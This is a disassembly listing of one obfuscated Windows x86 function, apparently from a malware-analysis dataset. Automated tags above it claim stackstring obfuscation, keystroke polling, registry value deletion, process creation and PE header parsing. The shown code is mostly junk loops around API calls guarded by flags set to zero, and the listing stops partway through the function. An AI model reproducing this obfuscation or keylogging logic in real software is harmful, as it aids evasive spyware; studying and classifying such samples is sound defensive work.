Function at 0x422d88
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create process on windows
Delete registry value
Log keystrokes via polling
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x618
mov dword [ebp - 0xf8], 0x5c68ec0a
mov dword [ebp - 0x338], 0xc5416513
mov dword [ebp - 0x518], 4
mov dword [ebp - 0x4b8], 0xb87d0fa5
mov dword [ebp - 0x3b4], 1
mov dword [ebp - 0x348], 0xce4a6f44
mov dword [ebp - 0x3e0], 0x61ece305
mov dword [ebp - 0x34c], 0xd393e75c
mov dword [ebp - 0x3d4], 0
mov dword [ebp - 0x3d0], 0
mov dword [ebp - 0x3cc], 0
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0xd0], 0
jmp 0x422e22
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 1
jge 0x422e3e
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x3bc], 8
jmp 0x422e15
mov dword [ebp - 0xf8], 0xf
jmp 0x422e57
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x11
jl 0x422ebf
mov dword [ebp - 0x4c0], 1
mov dword [ebp - 0x4c8], 7
mov dword [ebp - 0x4d0], 0x5c7a00f4
mov dword [ebp - 0x564], 8
mov dword [ebp - 0x560], 8
mov dword [ebp - 0x55c], 8
mov dword [ebp - 0x558], 8
mov dword [ebp - 0x1d8], 0x16e289aa
mov eax, dword [ebp - 0x1d8]
dec eax
mov dword [ebp - 0x1d8], eax
jmp 0x422e4a
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3d4]
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x3e0], 0x75157694
jle 0x422ee9
mov dword [ebp - 0x340], 1
jmp 0x422ef0
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x348]
add eax, dword [ebp - 0x3b4]
neg eax
push 4
pop ecx
shl ecx, 1
cmp dword [ebp + ecx - 0x3d4], eax
jl 0x422f24
mov dword [ebp - 0x2cc], 1
jmp 0x422f2b
and dword [ebp - 0x2cc], 0
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0x2cc], eax
jne 0x422f45
mov dword [ebp - 0xfc], 1
jmp 0x422f4c
and dword [ebp - 0xfc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xfc]
mov dword [ebp + eax - 0x3bc], ecx
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0xfc], eax
jne 0x422f79
mov dword [ebp - 0x130], 1
jmp 0x422f80
and dword [ebp - 0x130], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x130]
mov dword [ebp + eax - 0x3d4], ecx
cmp dword [ebp - 0x130], 0
je 0x422fb7
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x3d4], 0
je 0x422fb7
mov dword [ebp - 0x15c], 1
jmp 0x422fbe
and dword [ebp - 0x15c], 0
imul eax, dword [ebp - 0x15c], 0
mov dword [ebp - 0x34c], eax
and dword [ebp - 0x14], 0
mov dword [ebp - 0xe0], 0xa61928c1
mov dword [ebp - 0x514], 0x5cabfc39
mov dword [ebp - 0x51c], 0xd3740063
mov dword [ebp - 0x538], 0x193e0566
mov dword [ebp - 0x3c], 0
jmp 0x423007
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jge 0x42301d
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x608], 0
jmp 0x423000
mov dword [ebp - 0x3c], 0
jmp 0x42302d
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jge 0x423043
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x418], 0x17ab6dad
jmp 0x423026
mov byte [ebp - 0x60], 0
movzx eax, byte [ebp - 0x60]
test eax, eax
je 0x423073
push 0x188d
push 0
push 0
push 0
push 0
push 0x20ff
push 0x537
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
mov dword [ebp - 0xe0], 0
jmp 0x42308c
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0xfffffff4
jl 0x423161
mov dword [ebp - 0x9c], 1
mov dword [ebp - 0x28], 0
jmp 0x4230b3
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x4230c9
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x5c4], 0x9ac70c30
jmp 0x4230ac
mov dword [ebp - 0x28], 0
jmp 0x4230d9
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x4230ef
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x5a4], 1
jmp 0x4230d2
mov dword [ebp - 0x9c], 0
jmp 0x423108
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jg 0x42315c
mov dword [ebp - 0x540], 0xf6e229ed
mov dword [ebp - 0x548], 0xf7921e12
mov dword [ebp - 0x550], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x418]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x418], eax
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x5a4], 0xffffffff
jmp 0x4230fb
jmp 0x42307f
mov dword [ebp - 0xe8], 0xfffffffa
mov byte [ebp - 0x4d], 0
movzx eax, byte [ebp - 0x4d]
test eax, eax
je 0x423184
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
mov dword [ebp - 0xe8], 0
jmp 0x42319d
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x14
jge 0x4231c6
mov byte [ebp - 0x52], 0
movzx eax, byte [ebp - 0x52]
test eax, eax
je 0x4231c4
push 0xee3
push 1
push 0x99d
call dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x423190
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x138], 0x9ea4d59f
mov dword [ebp - 0x104], 0x45c2f1fc
mov dword [ebp - 0x2d4], 0x51cd25bb
mov dword [ebp - 0x30], 0
jmp 0x4231fb
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x423211
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x3ec], 0x907c
jmp 0x4231f4
mov dword [ebp - 0x30], 0
jmp 0x423221
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x423237
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x360], 7
jmp 0x42321a
xor eax, eax
inc eax
je 0x42333e
cmp dword [ebp - 0xc], 0
jne 0x42331d
mov dword [ebp - 0x138], 1
mov eax, dword [ebp - 0x138]
sub eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0xc]
je 0x423274
cmp dword [ebp - 0xc], 0
je 0x423274
mov dword [ebp - 0x3ac], 1
jmp 0x42327b
and dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x104], 0
je 0x4232b7
cmp dword [ebp - 0xc], 0
je 0x4232b7
mov dword [ebp - 0x254], 1
jmp 0x4232be
and dword [ebp - 0x254], 0
cmp dword [ebp - 0x254], 1
je 0x4232d3
mov dword [ebp - 0x164], 1
jmp 0x4232da
and dword [ebp - 0x164], 0
cmp dword [ebp - 0x164], 0xd29ed7d4
je 0x4232f2
mov dword [ebp - 0x30c], 1
jmp 0x4232f9
and dword [ebp - 0x30c], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x30c], eax
je 0x42331d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3ec], 0
jne 0x42331d
and dword [ebp - 0x16c], 0
jmp 0x423327
mov dword [ebp - 0x16c], 1
mov eax, dword [ebp - 0x16c]
sub eax, dword [ebp - 0xc]
je 0x42333e
mov dword [ebp - 0x25c], 1
jmp 0x423345
and dword [ebp - 0x25c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3ec]
cmp dword [ebp - 0x25c], eax
jg 0x423366
mov dword [ebp - 0x174], 1
jmp 0x42336d
and dword [ebp - 0x174], 0
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x174]
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0xfff7
jne 0x423394
mov dword [ebp - 0x17c], 1
jmp 0x42339b
and dword [ebp - 0x17c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3ec]
cmp dword [ebp - 0x17c], eax
jl 0x4233bb
mov dword [ebp - 0x264], 1
jmp 0x4233c2
and dword [ebp - 0x264], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x264]
jle 0x4233d9
mov dword [ebp - 0x184], 1
jmp 0x4233e0
and dword [ebp - 0x184], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x184], eax
jge 0x4233f7
mov dword [ebp - 0x32c], 1
jmp 0x4233fe
and dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x32c], eax
jl 0x423415
mov dword [ebp - 0x18c], 1
jmp 0x42341c
and dword [ebp - 0x18c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3ec]
mov ecx, dword [ebp - 0x18c]
lea eax, [ecx + eax + 3]
test eax, eax
je 0x42344c
mov eax, 0x278b
test eax, eax
je 0x42344c
mov dword [ebp - 0x26c], 1
jmp 0x423453
and dword [ebp - 0x26c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x26c]
mov dword [ebp + eax - 0x360], ecx
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x1c], 0
jmp 0x42347d
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x423490
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x68], 0x647
jmp 0x423476
mov dword [ebp - 0x1c], 0
jmp 0x4234a0
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x4234b6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x364], 0xd71b36c9
jmp 0x423499
mov dword [ebp - 0x48], 0
jmp 0x4234c6
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xfffffff1
jne 0x423857
mov dword [ebp - 0x1d4], 0x2daffa89
mov dword [ebp - 0xf0], 0
jmp 0x4234f3
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 3
jge 0x42350f
mov eax, dword [ebp - 0xf0]
mov dword [ebp + eax*4 - 0xac], 0x65ab3e90
jmp 0x4234e6
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xac], 0
jmp 0x42353a
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xac]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xac], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xac], 0
jl 0x423832
mov dword [ebp - 0x3c0], 0xfffffff8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xac], 0
je 0x423595
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xac]
mov dword [ebp - 0x434], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xac], 0
je 0x423595
mov dword [ebp - 0x194], 1
jmp 0x42359c
and dword [ebp - 0x194], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x68]
add eax, dword [ebp - 0x194]
cmp eax, 1
je 0x4235bd
mov dword [ebp - 0x2dc], 1
jmp 0x4235c4
and dword [ebp - 0x2dc], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x2dc], eax
jne 0x4235db
mov dword [ebp - 0x19c], 1
jmp 0x4235e2
and dword [ebp - 0x19c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xac]
mov eax, dword [ebp + eax*4 - 0x68]
cmp eax, dword [ebp - 0x19c]
je 0x423613
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x68], 0
je 0x423613
mov dword [ebp - 0x274], 1
jmp 0x42361a
and dword [ebp - 0x274], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xac]
mov eax, dword [ebp + eax*4 - 0x68]
cmp dword [ebp - 0x274], eax
jge 0x42363e
mov dword [ebp - 0x1a4], 1
jmp 0x423645
and dword [ebp - 0x1a4], 0
cmp dword [ebp - 0x1a4], 0xc3f30b91
je 0x42365d
mov dword [ebp - 0x35c], 1
jmp 0x423664
and dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x54c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xac]
mov ecx, dword [ebp - 0x3c0]
cmp dword [ebp + eax*4 - 0x68], ecx
jl 0x423691
mov dword [ebp - 0x314], 1
jmp 0x423698
and dword [ebp - 0x314], 0
cmp dword [ebp - 0x314], 0xb8cf
jge 0x4236b0
mov dword [ebp - 0x1ac], 1
jmp 0x4236b7
and dword [ebp - 0x1ac], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x1ac], eax
je 0x4236ce
mov dword [ebp - 0x27c], 1
jmp 0x4236d5
and dword [ebp - 0x27c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xac]
mov eax, dword [ebp + eax*4 - 0x68]
cmp eax, dword [ebp - 0x27c]
jg 0x4236f9
mov dword [ebp - 0x1b4], 1
jmp 0x423700
and dword [ebp - 0x1b4], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x1b4], eax
jge 0x423717
mov dword [ebp - 0x2e4], 1
jmp 0x42371e
and dword [ebp - 0x2e4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xac]
cmp dword [ebp - 0x2e4], eax
jne 0x42373f
mov dword [ebp - 0x1bc], 1
jmp 0x423746
and dword [ebp - 0x1bc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xac]
cmp dword [ebp - 0x1bc], eax
jl 0x423766
mov dword [ebp - 0x284], 1
jmp 0x42376d
and dword [ebp - 0x284], 0
cmp dword [ebp - 0x284], 0x58b
jne 0x423785
mov dword [ebp - 0x1c4], 1
jmp 0x42378c
and dword [ebp - 0x1c4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xac]
mov eax, dword [ebp + eax*4 - 0x68]
cmp dword [ebp - 0x1c4], eax
jge 0x4237b0
mov dword [ebp - 0x33c], 1
jmp 0x4237b7
and dword [ebp - 0x33c], 0
cmp dword [ebp - 0x33c], 1
jne 0x4237cc
mov dword [ebp - 0x1cc], 1
jmp 0x4237d3
and dword [ebp - 0x1cc], 0
cmp dword [ebp - 0x1cc], 0x707d
jg 0x4237eb
mov dword [ebp - 0x28c], 1
jmp 0x4237f2
and dword [ebp - 0x28c], 0
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 1
jae 0x423813
mov dword [ebp - 0x2ec], 1
jmp 0x42381a
and dword [ebp - 0x2ec], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2ec]
mov dword [ebp + eax - 0x364], ecx
jmp 0x423521
mov byte [ebp - 0x5f], 0
movzx eax, byte [ebp - 0x5f]
test eax, eax
je 0x423852
push 0
push 0x1b6b
push 0
push 0x7ab
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
jmp 0x4234bf
mov eax, dword [ebp + 8]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x124], 0x9ea4d59f
mov dword [ebp - 0x10c], 0x45c2f1fc
mov dword [ebp - 0x1f4], 0x51cd25bb
mov dword [ebp - 0x38], 0
jmp 0x423895
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x4238ab
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x3f8], 0x907c
jmp 0x42388e
mov dword [ebp - 0x38], 0
jmp 0x4238bb
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x4238d1
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x36c], 7
jmp 0x4238b4
xor eax, eax
inc eax
je 0x4239d8
cmp dword [ebp - 0x10], 0
jne 0x4239b7
mov dword [ebp - 0x124], 1
mov eax, dword [ebp - 0x124]
sub eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x10]
je 0x42390e
cmp dword [ebp - 0x10], 0
je 0x42390e
mov dword [ebp - 0x3a8], 1
jmp 0x423915
and dword [ebp - 0x3a8], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x43c], eax
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x4f0], eax
cmp dword [ebp - 0x10c], 0
je 0x423951
cmp dword [ebp - 0x10], 0
je 0x423951
mov dword [ebp - 0x1dc], 1
jmp 0x423958
and dword [ebp - 0x1dc], 0
cmp dword [ebp - 0x1dc], 1
je 0x42396d
mov dword [ebp - 0x294], 1
jmp 0x423974
and dword [ebp - 0x294], 0
cmp dword [ebp - 0x294], 0xd29ed7d4
je 0x42398c
mov dword [ebp - 0x1e4], 1
jmp 0x423993
and dword [ebp - 0x1e4], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x1e4], eax
je 0x4239b7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3f8], 0
jne 0x4239b7
and dword [ebp - 0x31c], 0
jmp 0x4239c1
mov dword [ebp - 0x31c], 1
mov eax, dword [ebp - 0x31c]
sub eax, dword [ebp - 0x10]
je 0x4239d8
mov dword [ebp - 0x1ec], 1
jmp 0x4239df
and dword [ebp - 0x1ec], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3f8]
cmp dword [ebp - 0x1ec], eax
jg 0x423a00
mov dword [ebp - 0x29c], 1
jmp 0x423a07
and dword [ebp - 0x29c], 0
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x29c]
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0xfff7
jne 0x423a2e
mov dword [ebp - 0x2f4], 1
jmp 0x423a35
and dword [ebp - 0x2f4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3f8]
cmp dword [ebp - 0x2f4], eax
jl 0x423a55
mov dword [ebp - 0x1fc], 1
jmp 0x423a5c
and dword [ebp - 0x1fc], 0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x1fc]
jle 0x423a73
mov dword [ebp - 0x2a4], 1
jmp 0x423a7a
and dword [ebp - 0x2a4], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x2a4], eax
jge 0x423a91
mov dword [ebp - 0x204], 1
jmp 0x423a98
and dword [ebp - 0x204], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x204], eax
jl 0x423aaf
mov dword [ebp - 0x334], 1
jmp 0x423ab6
and dword [ebp - 0x334], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3f8]
mov ecx, dword [ebp - 0x334]
lea eax, [ecx + eax + 3]
test eax, eax
je 0x423ae6
mov eax, 0x278b
test eax, eax
je 0x423ae6
mov dword [ebp - 0x20c], 1
jmp 0x423aed
and dword [ebp - 0x20c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x20c]
mov dword [ebp + eax - 0x36c], ecx
mov eax, dword [ebp - 0x108]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x423c02
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xd4], 0
jmp 0x423b34
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 1
jge 0x423b50
mov eax, dword [ebp - 0xd4]
mov dword [ebp + eax*4 - 0x2ac], 0xfffffff8
jmp 0x423b27
mov dword [ebp - 0x18], 0
jmp 0x423b60
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jg 0x423b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x2ac]
mov dword [ebp + ecx*4 - 0x2ac], eax
jmp 0x423b59
mov dword [ebp - 0x18], 0x19
jmp 0x423b8c
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xfffffff5
jl 0x423bc0
mov byte [ebp - 0x54], 0
movzx eax, byte [ebp - 0x54]
test eax, eax
je 0x423bbe
push 0
push 0x1114
push 0x7a9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
jmp 0x423b85
mov dword [ebp - 0x444], 4
mov byte [ebp - 0x5e], 0
movzx eax, byte [ebp - 0x5e]
test eax, eax
je 0x423be0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
mov byte [ebp - 0x56], 0
movzx eax, byte [ebp - 0x56]
test eax, eax
je 0x423bfb
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
xor eax, eax
jmp 0x425530
mov dword [ebp - 0x578], 0x713b9102
mov dword [ebp - 0x574], 0x713b9102
mov dword [ebp - 0x570], 0x713b9102
mov dword [ebp - 0x56c], 0x713b9102
mov dword [ebp - 0xb4], 0xffffffff
mov dword [ebp - 0x534], 0
mov dword [ebp - 0x44c], 0xffffffff
mov dword [ebp - 0x4f8], 0xffffffff
mov dword [ebp - 0x454], 0xa10aa43b
mov dword [ebp - 0x568], 0x6b0e1b1b
mov dword [ebp - 0x45c], 0x22515546
mov dword [ebp - 0x500], 1
mov dword [ebp - 0x214], 1
mov dword [ebp - 0xb4], 0
jmp 0x423c9d
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 3
jg 0x423d3a
mov dword [ebp - 0x464], 0x588e
mov dword [ebp - 0x53c], 0xabe8f210
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x508], 0xfffffffa
mov dword [ebp - 0x474], 1
mov dword [ebp - 0x20], 0
jmp 0x423cec
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x423d02
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x618], 9
jmp 0x423ce5
mov dword [ebp - 0x20], 0
jmp 0x423d12
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jge 0x423d28
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x554], 0xa421
jmp 0x423d0b
mov eax, dword [ebp - 0x214]
dec eax
mov dword [ebp - 0x214], eax
jmp 0x423c90
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0xf4], 0x462d5e48
mov dword [ebp - 0xf4], 0
jmp 0x423d6f
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x19
jne 0x423d90
mov byte [ebp - 0x62], 0
movzx eax, byte [ebp - 0x62]
test eax, eax
je 0x423d8e
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x423d62
mov byte [ebp - 0x58], 0
movzx eax, byte [ebp - 0x58]
test eax, eax
je 0x423da4
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov eax, dword [ebp - 0x84]
cmp dword [eax], 0x4550
je 0x42406d
mov dword [ebp - 0x3c4], 0xffffffff
mov dword [ebp - 0x88], 0xfffffffc
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x47c], eax
mov dword [ebp - 0x88], 1
mov dword [ebp - 0x88], 0
jmp 0x423df9
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x12
jg 0x423e2c
mov byte [ebp - 0x5c], 0
movzx eax, byte [ebp - 0x5c]
test eax, eax
je 0x423e2a
push 0x1ff
push 0x22f6
push 0x2682
push 0x2705
push 0
call dword [sym.imp.USER32.dll_SetRect]
jmp 0x423dec
mov dword [ebp - 0xdc], 0x5c68ec0a
mov dword [ebp - 0x324], 0xc5416513
mov dword [ebp - 0x510], 4
mov dword [ebp - 0x484], 0xb87d0fa5
mov dword [ebp - 0x3b0], 1
mov dword [ebp - 0x2b4], 0xce4a6f44
mov dword [ebp - 0x374], 0x61ece305
mov dword [ebp - 0x3d8], 0xd393e75c
mov dword [ebp - 0x3a0], 0
mov dword [ebp - 0x39c], 0
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 0
mov dword [ebp - 0xbc], 0
jmp 0x423ebd
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x423ed9
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x37c], 8
jmp 0x423eb0
mov dword [ebp - 0xdc], 0xf
jmp 0x423ef2
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x11
jl 0x423f5a
mov dword [ebp - 0x544], 1
mov dword [ebp - 0x48c], 7
mov dword [ebp - 0x424], 0x5c7a00f4
mov dword [ebp - 0x598], 8
mov dword [ebp - 0x594], 8
mov dword [ebp - 0x590], 8
mov dword [ebp - 0x58c], 8
mov dword [ebp - 0x2fc], 0x16e289aa
mov eax, dword [ebp - 0x2fc]
dec eax
mov dword [ebp - 0x2fc], eax
jmp 0x423ee5
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a0]
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x374], 0x75157694
jle 0x423f84
mov dword [ebp - 0x21c], 1
jmp 0x423f8b
and dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0x2b4]
add eax, dword [ebp - 0x3b0]
neg eax
push 4
pop ecx
shl ecx, 1
cmp dword [ebp + ecx - 0x3a0], eax
jl 0x423fbf
mov dword [ebp - 0x224], 1
jmp 0x423fc6
and dword [ebp - 0x224], 0
mov eax, dword [ebp - 0x324]
cmp dword [ebp - 0x224], eax
jne 0x423fe0
mov dword [ebp - 0x134], 1
jmp 0x423fe7
and dword [ebp - 0x134], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x134]
mov dword [ebp + eax - 0x37c], ecx
mov eax, dword [ebp - 0x324]
cmp dword [ebp - 0x134], eax
jne 0x424014
mov dword [ebp - 0x114], 1
jmp 0x42401b
and dword [ebp - 0x114], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x114]
mov dword [ebp + eax - 0x3a0], ecx
cmp dword [ebp - 0x114], 0
je 0x424052
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x3a0], 0
je 0x424052
mov dword [ebp - 0x22c], 1
jmp 0x424059
and dword [ebp - 0x22c], 0
imul eax, dword [ebp - 0x22c], 0
mov dword [ebp - 0x3d8], eax
xor eax, eax
jmp 0x425530
mov dword [ebp - 0xc4], 0xfffffff7
mov dword [ebp - 0x524], 1
mov dword [ebp - 0xc4], 0xb
jmp 0x42409a
mov eax, dword [ebp - 0xc4]
dec eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0xfffffff3
jg 0x424193
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0xec], 0
jmp 0x4240c7
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 2
jge 0x4240e3
mov eax, dword [ebp - 0xec]
mov dword [ebp + eax*4 - 0x5cc], 0xe6ba
jmp 0x4240ba
mov dword [ebp - 0x4c], 0
jmp 0x4240f3
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jg 0x424153
mov dword [ebp - 0xcc], 0xbeb7161a
mov byte [ebp - 0x5a], 0
movzx eax, byte [ebp - 0x5a]
test eax, eax
je 0x424117
push 0
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
